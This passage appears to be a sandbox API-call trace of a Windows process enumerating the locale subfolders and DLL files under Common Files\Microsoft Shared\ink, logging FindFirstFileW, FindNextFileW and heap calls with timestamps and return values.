ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0079.701] GetProcessHeap () returned 0x470000 [0079.701] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.701] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.701] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.701] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.701] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.701] GetProcessHeap () returned 0x470000 [0079.701] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0079.702] GetProcessHeap () returned 0x470000 [0079.702] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.703] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.703] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.703] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.703] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.703] GetProcessHeap () returned 0x470000 [0079.703] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.703] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0079.703] GetProcessHeap () returned 0x470000 [0079.703] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.703] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.703] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.703] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.703] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.703] GetProcessHeap () returned 0x470000 [0079.703] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.704] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0079.704] GetProcessHeap () returned 0x470000 [0079.704] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.860] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.860] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.860] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.860] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.860] GetProcessHeap () returned 0x470000 [0079.860] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.860] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0079.860] GetProcessHeap () returned 0x470000 [0079.860] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.861] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.861] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.861] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.861] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.861] GetProcessHeap () returned 0x470000 [0079.861] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.861] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0079.861] GetProcessHeap () returned 0x470000 [0079.862] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.862] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.862] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.862] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.862] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.862] GetProcessHeap () returned 0x470000 [0079.862] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.862] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0079.863] GetProcessHeap () returned 0x470000 [0079.863] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.863] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.863] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.863] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.863] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.863] GetProcessHeap () returned 0x470000 [0079.863] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.863] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0079.864] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, 